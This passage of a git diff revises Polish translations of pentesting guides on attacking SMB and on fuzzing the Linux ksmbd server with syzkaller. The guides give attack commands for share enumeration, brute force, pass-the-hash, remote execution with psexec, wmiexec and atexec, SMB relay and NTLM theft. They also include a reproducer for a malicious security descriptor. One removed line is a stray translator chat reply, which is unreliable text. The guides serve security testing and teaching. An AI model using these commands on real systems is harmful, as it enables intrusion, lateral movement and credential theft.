zalogowanych użytkowników -Te informacje powinny być już zebrane przez enum4linux i enum4linux-ng +Te informacje powinny już być zebrane przez enum4linux i enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -134,36 +134,36 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### Wypisz lokalnych użytkowników +### Wyliczanie lokalnych użytkowników [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` -Jednolinijkowiec +Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Enumeracja użytkowników lokalnych +### Metasploit - Enumeracja lokalnych użytkowników ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumerating LSARPC and SAMR rpcclient** +### **Enumeracja LSARPC i SAMR rpcclient** {{#ref}} rpcclient-enumeration.md {{#endref}} -### GUI — połączenie z Linuxem +### Połączenie GUI z linux #### W terminalu: `xdg-open smb://cascade.htb/` -#### W oknie przeglądarki plików (nautilus, thunar, etc) +#### W oknie menedżera plików (nautilus, thunar, itp) `smb://friendzone.htb/general/` @@ -171,7 +171,7 @@ rpcclient-enumeration.md ### Lista udostępnionych folderów -Zawsze zaleca się sprawdzić, czy możesz uzyskać dostęp do jakichkolwiek zasobów; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**. +Zaleca się zawsze sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Połącz/Wyświetl folder udostępniony** +### **Połącz/Wyświetl udostępniony folder** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Ręcznie wylicz udziały Windows i połącz się z nimi** +### **Ręczne enumerowanie udziałów Windows i łączenie się z nimi** -Może się zdarzyć, że masz ograniczenie w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda to tak, jakby nie było żadnych udziałów do połączenia. Warto więc spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyenumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, gdy używasz ważnej sesji (np. null session lub valid credentials). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, albo udział w ogóle nie istnieje. +Może się zdarzyć, że masz ograniczenia w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda jakby nie było żadnych udziałów do połączenia. Warto więc spróbować krótko ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED oraz NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy udział istnieje, ale nie masz do niego dostępu, albo udział w ogóle nie istnieje. -Common share names for windows targets are +Typowe nazwy udziałów dla celów Windows to - C$ - D$ @@ -212,14 +212,14 @@ Common share names for windows targets are - SYSVOL - NETLOGON -(Common share names from _**Network Security Assessment 3rd edition**_) +(Typowe nazwy udziałów z _**Network Security Assessment 3rd edition**_) -Możesz spróbować połączyć się z nimi, używając następującego polecenia +Możesz spróbować połączyć się z nimi używając następującego polecenia ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -lub ten skrypt (używając null session) +lub ten script (używając null session) ```bash #/bin/bash @@ -236,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD fi done ``` -Nie mam treści pliku. Proszę wklej zawartość src/network-services-pentesting/pentesting-smb/README.md (lub fragmenty, które chcesz przetłumaczyć). Przetłumaczę na polski, zachowując dokładnie markdown/HTML oraz nie tłumacząc kodu, tagów, linków i ścieżek. +przykłady ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Wyliczanie udostępnień w Windows / bez narzędzi firm trzecich** +### **Wyliczanie udziałów w Windows bez użycia narzędzi firm trzecich** PowerShell ```bash @@ -274,9 +274,9 @@ explorer.exe (graficzny), wpisz `\\\`, aby zobaczyć dostępne nieukryte udz mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -### **Pobierz pliki** +### **Pobieranie plików** -Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się przy użyciu credentials/Pass-the-Hash. +Przeczytaj wcześniejsze sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,16 +291,16 @@ smbclient /// > mget * #Download everything to current directory ``` -Commands: +Polecenia: -- mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików) -- recurse: włącza rekurencję (domyślnie: off) -- prompt: wyłącza proszenie o nazwy plików (domyślnie: on) +- mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików) +- recurse: przełącza rekursję (domyślnie: wyłączona) +- prompt: wyłącza żądanie podawania nazw plików (domyślnie: włączone) - mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta -(_Informacje z manpage smbclient_) +(_Informacja z manpage programu smbclient_) -### Wyszukiwanie udostępnionych folderów w domenie +### Wyszukiwanie udostępnionych folderów domenowych - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Szczególnie interesujące w udostępnieniach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Również pliki **`web.config`** mogą zawierać poświadczenia. +Szczególnie interesujące w share'ach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać passwords** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Pliki **`web.config`** również mogą zawierać credentials. > [!TIP] -> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ -> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. +> **SYSVOL share** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Tam możesz **znaleźć** wiele różnych batch, VBScript i PowerShell **skryptów**.\ +> Powinieneś **sprawdzić** **skrypty** w nim, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **passwords**. ## Odczyt rejestru -Możesz być w stanie **odczytać rejestr** za pomocą odkrytych poświadczeń. Impacket **`reg.py`** pozwala spróbować: +Możesz być w stanie **odczytać rejestr** używając znalezionych poświadczeń. Impacket **`reg.py`** pozwala spróbować: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne ustawienia**: +Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać kilka **niebezpiecznych ustawień**: -| **Ustawienie** | **Opis** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Pozwala na wyświetlanie dostępnych udziałów w bieżącym udziale? | -| `read only = no` | Zabrania tworzenia i modyfikacji plików? | -| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? | -| `guest ok = yes` | Pozwala łączyć się z usługą bez użycia hasła? | -| `enable privileges = yes` | Respektować uprawnienia przypisane określonemu SID? | -| `create mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym plikom? | -| `directory mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym katalogom? | -| `logon script = script.sh` | Jaki skrypt musi być uruchomiony przy logowaniu użytkownika? | -| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?| -| `magic output = script.out` | Gdzie należy zapisać wyjście magic script? | +| **Ustawienie** | **Opis** | +| -------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | Pozwala na wyświetlenie listy dostępnych udziałów? | +| `read only = no` | Zabrania tworzenia i modyfikacji plików? | +| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? | +| `guest ok = yes` | Pozwala na połączenie z serwisem bez użycia hasła? | +| `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? | +| `create mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym plikom? | +| `directory mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym katalogom? | +| `logon script = script.sh` | Jaki skrypt ma być uruchomiony przy logowaniu użytkownika? | +| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?| +| `magic output = script.out`| Gdzie należy zapisać wyjście magicznego skryptu? | -Polecenie `smbstatus` dostarcza informacji o **serwerze** i o tym, **kto jest połączony**. +Polecenie `smbstatus` daje informacje o **serwerze** oraz o **tym, kto jest połączony**. ## Uwierzytelnianie przy użyciu Kerberos -Możesz się **uwierzytelnić** w **Kerberos** za pomocą narzędzi **smbclient** i **rpcclient**: +Możesz **uwierzytelnić się** w **Kerberos** używając narzędzi **smbclient** i **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec może wykonywać polecenia, wykorzystując dowolną z metod **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć za pomocą parametru `--exec-method`: +crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć, za pomocą parametru `--exec-method`: ```bash apt-get install crackmapexec @@ -380,8 +380,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** będzie wskazywać na **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\ -**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **uruchomienia czegoś** (**psexec** **wgra** plik wykonywalny na ADMIN$ share, a **smbexec** wskaże **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\ +**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -394,7 +394,7 @@ Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Pozwala dyskretnie uruchomić powłokę poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\ +Umożliwia dyskretne uruchomienie powłoki poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -402,7 +402,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Używając **parametru**`-k` możesz uwierzytelniać się przy użyciu **kerberos** zamiast **NTLM** +Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -412,16 +412,16 @@ Używając **parametru**`-k` możesz uwierzytelniać się przy użyciu **kerbero ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) Wykonywanie poleceń za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\ -W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ +W systemie **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Odnośnik do Impacket +## Referencje Impacket [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### Powierzchnia ataku ksmbd i SMB2/SMB3 protocol fuzzing (syzkaller) +### Powierzchnia ataku ksmbd i fuzzing protokołu SMB2/SMB3 (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -429,28 +429,28 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md ## **Bruteforce users credentials** -**Nie zaleca się tego — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób** +**Nie jest to zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -Ten atak używa Responder toolkit, aby **capture SMB authentication sessions** w sieci wewnętrznej i **relays** je do **target machine**. Jeśli uwierzytelnienie **session is successful**, automatycznie przeniesie cię do **system** **shell**.\ -[**Więcej informacji o tym ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Ten atak używa Responder toolkit do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **maszyny docelowej**. Jeśli sesja uwierzytelniania **zakończy się powodzeniem**, automatycznie przeniesie Cię do **system** **shell**.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zawartości przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"` +Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zasobu przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"` -To dzieje się przy użyciu funkcji: +To dzieje się przy użyciu następujących funkcji: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Które są używane przez niektóre przeglądarki i narzędzia (np. Skype) +Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) @@ -460,7 +460,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (np. Skype) ## NTLM Theft -Podobnie jak SMB Trapping, podłożenie złośliwych plików na target system (np. przez SMB) może wywołać SMB authentication attempt, co pozwala na przechwycenie NetNTLMv2 hash za pomocą narzędzia takiego jak Responder. Hash może być następnie cracked offline lub użyty w [SMB relay attack](#smb-relay-attack). +Podobnie jak w przypadku SMB Trapping, podstawienie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hashu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash może być następnie złamany offline lub użyty w [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index cbce2fc5a..0eab154fe 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,16 +1,16 @@ -# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller) +# ksmbd Powierzchnia ataku & SMB2/SMB3 Protocol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} -## Przegląd -Ta strona przedstawia praktyczne techniki do uruchamiania i fuzzowania jądrowego serwera SMB dla Linux (ksmbd) przy użyciu syzkaller. Skupia się na rozszerzaniu attack surface protokołu poprzez konfigurację, budowaniu stateful harness zdolnego do łączenia operacji SMB2, generowaniu składniowo poprawnych PDUs, kierowaniu mutacji w słabo pokrywane ścieżki kodu oraz wykorzystaniu funkcji syzkaller takich jak focus_areas i ANYBLOB. Choć oryginalne badania wymieniają konkretne CVE, tutaj podkreślamy powtarzalną metodologię i konkretne fragmenty, które możesz dostosować do własnych środowisk. +## Overview +Ta strona podsumowuje praktyczne techniki pozwalające ćwiczyć i fuzzować Linux in-kernel SMB server (ksmbd) przy użyciu syzkaller. Skupia się na rozszerzaniu powierzchni ataku protokołu poprzez konfigurację, budowaniu stanowego harnessu zdolnego do łączenia operacji SMB2, generowaniu grammar-valid PDUs, ukierunkowywaniu mutacji w słabo pokryte ścieżki kodu oraz wykorzystaniu funkcji syzkaller takich jak focus_areas i ANYBLOB. Podczas gdy oryginalne badania wymieniały konkretne CVE, tutaj kładziemy nacisk na powtarzalną metodologię i konkretne fragmenty, które możesz zaadaptować do własnych środowisk. -Zakres: SMB2/SMB3 przez TCP. Kerberos i RDMA są celowo poza zakresem, aby zachować prostotę harnessu. +Zakres docelowy: SMB2/SMB3 over TCP. Kerberos i RDMA zostały celowo wyłączone z zakresu, aby utrzymać harness prostym. --- -## Rozszerz ksmbd Attack Surface przez konfigurację -Domyślnie minimalna konfiguracja ksmbd pozostawia duże części serwera nieprzetestowane. Włącz następujące funkcje, aby przeprowadzić serwer przez dodatkowe parsers/handlers i dotrzeć do głębszych ścieżek kodu: +## Expand ksmbd Attack Surface via Configuration +Domyślna, minimalna konfiguracja ksmbd pozostawia dużą część serwera nieprzetestowaną. Włącz następujące funkcje, aby przetestować dodatkowe parsery/handlery i dotrzeć do głębszych ścieżek kodu: - Global-level - Durable handles @@ -20,7 +20,7 @@ Domyślnie minimalna konfiguracja ksmbd pozostawia duże części serwera nieprz - Oplocks (on by default) - VFS objects -Włączenie ich zwiększa wykonanie w modułach takich jak: +Włączenie tych opcji zwiększa wykonanie w modułach takich jak: - smb2pdu.c (command parsing/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) @@ -29,27 +29,27 @@ Włączenie ich zwiększa wykonanie w modułach takich jak: - vfs_cache.c (lookup cache) Uwagi -- Dokładne opcje zależą od userspace ksmbd w Twojej dystrybucji (ksmbd-tools). Sprawdź /etc/ksmbd/ksmbd.conf oraz sekcje per-share, aby włączyć durable handles, leases, oplocks i VFS objects. -- Multi-channel i durable handles zmieniają maszyny stanów i czasy życia, często ujawniając błędy UAF/refcount/OOB pod obciążeniem współbieżnym. +- Dokładne opcje zależą od userspace ksmbd w Twojej dystrybucji (ksmbd-tools). Przejrzyj /etc/ksmbd/ksmbd.conf oraz sekcje per-share, aby włączyć durable handles, leases, oplocks i VFS objects. +- Multi-channel i durable handles zmieniają automaty stanu i czasy życia obiektów, często ujawniając UAF/refcount/OOB bugs pod obciążeniem współbieżnym. --- ## Authentication and Rate-Limiting Adjustments for Fuzzing -SMB3 wymaga ważnej sesji. Implementacja Kerberos w harnessach dodaje złożoności, więc dla fuzzingu preferuj NTLM/guest: +SMB3 wymaga ważnej sesji. Implementacja Kerberos w harnessach dodaje złożoności, więc preferuj NTLM/guest do fuzzingu: -- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. -- Akceptuj NTLMv2 (patch policy jeśli wyłączone). To utrzymuje handshake prostym jednocześnie testując ścieżki kodu SMB3. -- Wyłącz rygorystyczne sprawdzanie creditów podczas eksperymentów (post-hardening dla CVE-2024-50285 zaostrzył przydzielanie creditów dla operacji równoczesnych). W przeciwnym razie, rate-limits mogą odrzucić fuzzowane sekwencje zbyt wcześnie. -- Zwiększ max connections (np. do 65536), aby uniknąć wczesnych odrzuceń podczas fuzzingu o dużej przepustowości. +- Zezwól na guest access i ustaw map to guest = bad user, aby nieznani użytkownicy spadali do GUEST. +- Akceptuj NTLMv2 (zmodyfikuj politykę jeśli jest wyłączone). Utrzymuje to prostotę handshake’u przy jednoczesnym ćwiczeniu ścieżek kodu SMB3. +- Wyczyść/obejdź rygorystyczne checks na kredyty (post-hardening dla CVE-2024-50285 zaostrzył simultaneous-op crediting). W przeciwnym razie rate-limity mogą odrzucić fuzzowane sekwencje zbyt wcześnie. +- Zwiększ max connections (np. do 65536), aby uniknąć wczesnych odrzuceń podczas fuzzingu o wysokiej przepustowości. -Uwaga: Te ułatwienia służą tylko fuzzingowi. Nie wdrażaj tych ustawień w środowisku produkcyjnym. +Ostrzeżenie: Te poluzowania służą wyłącznie ułatwieniu fuzzingu. Nie stosuj tych ustawień w środowisku produkcyjnym. --- ## Stateful Harness: Extract Resources and Chain Requests -SMB jest stanowy: wiele żądań zależy od identyfikatorów zwracanych w poprzednich odpowiedziach (SessionId, TreeID, FileID pairs). Twój harness musi parsować odpowiedzi i ponownie używać ID w tym samym programie, aby dotrzeć do głębokich handlerów (np. smb2_create → smb2_ioctl → smb2_close). +SMB jest stanowy: wiele żądań zależy od identyfikatorów zwracanych przez wcześniejsze odpowiedzi (SessionId, TreeID, FileID pairs). Twój harness musi parsować odpowiedzi i ponownie używać ID w tym samym programie, aby dotrzeć do głębokich handlerów (np. smb2_create → smb2_ioctl → smb2_close). -Przykładowy fragment do przetworzenia bufora odpowiedzi (pomijając +4B długości NetBIOS PDU) i zapisania ID: +Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -81,8 +81,8 @@ Wskazówki --- -## Generowanie SMB2 sterowane gramatyką (prawidłowe PDUs) -Przekształć struktury SMB2 z Microsoft Open Specifications w gramatykę dla fuzzer, aby twój generator produkował strukturalnie prawidłowe PDUs, które systematycznie docierają do dispatcherów i handlerów IOCTL. +## Generowanie SMB2 sterowane gramatyką (Prawidłowe PDUs) +Przekształć struktury SMB2 z Microsoft Open Specifications w fuzzer grammar, tak aby twój generator produkował strukturalnie prawidłowe PDUs, które systematycznie docierają do dispatcherów i IOCTL handlers. Przykład (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Ten styl wymusza poprawne structure sizes/offsets i znacząco poprawia coverage w porównaniu do blind mutation. +Ten styl wymusza poprawne rozmiary/przesunięcia struktur i dramatycznie poprawia coverage w porównaniu z blind mutation. --- -## Directed Fuzzing With focus_areas -Użyj eksperymentalnego focus_areas syzkallera, aby przypisać większą wagę konkretnym funkcjom/plikom, które obecnie mają słabe coverage. Przykładowy JSON: +## Directed Fuzzing z focus_areas +Użyj eksperymentalnego focus_areas w syzkaller, aby przyznać większą wagę określonym funkcjom/plikom, które obecnie mają słaby coverage. Przykładowy JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Użyj eksperymentalnego focus_areas syzkallera, aby przypisać większą wagę k ] } ``` -To pomaga skonstruować poprawne ACLs, które trafiają w ścieżki arytmetyczne/overflow w smbacl.c. Na przykład złośliwy Security Descriptor z nadmiernym dacloffset powoduje integer-overflow. +To pomaga skonstruować poprawne ACLs, które wywołują ścieżki arithmetic/overflow w smbacl.c. Na przykład złośliwy Security Descriptor z nadmiernym dacloffset odtwarza integer-overflow. -Skrypt tworzący reproduktora (minimalny, Python): +Generator reproduktora (minimalny Python): ```python def build_sd(): import struct @@ -144,7 +144,7 @@ return bytes(sd) --- ## Przełamywanie stagnacji pokrycia za pomocą ANYBLOB -syzkaller’s anyTypes (ANYBLOB/ANYRES) pozwalają zwinąć złożone struktury w bloby, które mutują w sposób ogólny. Zainicjuj nowy corpus z publicznych SMB pcaps i skonwertuj payloady na programy syzkaller wywołujące twój pseudo-syscall (np. syz_ksmbd_send_req): +anyTypes syzkallera (ANYBLOB/ANYRES) pozwalają sprowadzić złożone struktury do blobów, które mutują generycznie. Utwórz nowy korpus z public SMB pcaps i skonwertuj payloady na programy syzkaller wywołujące twój pseudo-syscall (np. syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -To przyspiesza eksplorację i może natychmiast wywołać UAFs (np. w ksmbd_sessions_deregister), jednocześnie podnosząc pokrycie o kilka procent. +To przyspiesza eksplorację i może natychmiast wywołać UAFs (np. w ksmbd_sessions_deregister), jednocześnie zwiększając pokrycie o kilka procent. --- -## Sanitizery: poza KASAN +## Sanitizery: Poza KASAN - KASAN pozostaje głównym detektorem błędów sterty (UAF/OOB). -- KCSAN często generuje fałszywe alarmy lub wyścigi danych o niskiej istotności w tym przypadku. -- UBSAN/KUBSAN mogą wykryć błędy zadeklarowanych granic, które KASAN pomija ze względu na semantykę indeksów tablic. Przykład: +- KCSAN często generuje false positives lub data races o niskiej istotności dla tego celu. +- UBSAN/KUBSAN może wykryć błędy związane z deklarowanymi granicami, które KASAN pomija z powodu semantyki indeksów tablic. Przykład: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Ustawienie num_subauth = 0 wywołuje in-struct OOB read sub_auth[-1], wykrywany przez UBSAN’s declared-bounds checks. +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. --- -## Uwagi o przepustowości i równoległości -- Pojedynczy proces fuzzera (shared auth/state) zwykle jest znacznie bardziej stabilny dla ksmbd i nadal ujawnia races/UAFs dzięki syzkaller’s internal async executor. -- Przy wielu VMs można nadal osiągać setki poleceń SMB/sekundę łącznie. Pokrycie na poziomie funkcji rzędu ~60% fs/smb/server i ~70% smb2pdu.c jest osiągalne, choć pokrycie przejść stanów jest niedoszacowane przez takie metryki. +## Notatki o przepustowości i równoległości +- Pojedynczy proces fuzzer’a (wspólne auth/state) zwykle jest znacznie bardziej stabilny dla ksmbd i wciąż ujawnia race/UAF dzięki wewnętrznemu async executorowi syzkallera. +- Przy użyciu wielu VM można nadal osiągnąć setki SMB commands/sekund łącznie. Pokrycie na poziomie funkcji rzędu ~60% dla fs/smb/server i ~70% dla smb2pdu.c jest osiągalne, choć pokrycie przejść stanów jest słabo reprezentowane przez takie metryki. --- ## Praktyczna lista kontrolna - Włącz durable handles, leases, multi-channel, oplocks i VFS objects w ksmbd. -- Zezwól na guest i map-to-guest; akceptuj NTLMv2. Pozbądź się credit limits i zwiększ max connections dla stabilności fuzzera. -- Zbuduj stateful harness, który cache’uje SessionId/TreeID/FileIDs i łączy create → ioctl → close. -- Użyj grammar dla SMB2 PDUs, aby zachować poprawność strukturalną. -- Użyj focus_areas, by przydzielić większą wagę słabo pokrytym funkcjom (np. ścieżki w smbacl.c jak smb_check_perm_dacl). -- Seeduj ANYBLOBami z realnych pcaps, aby przełamać plateau; pakuj seedy z syz-db do ponownego użycia. -- Uruchamiaj z KASAN + UBSAN; dokładnie triage’uj raporty UBSAN declared-bounds. +- Zezwól na guest i map-to-guest; akceptuj NTLMv2. Usuń ograniczenia credit i zwiększ max connections dla stabilności fuzzera. +- Zbuduj stateful harness, który cache’uje 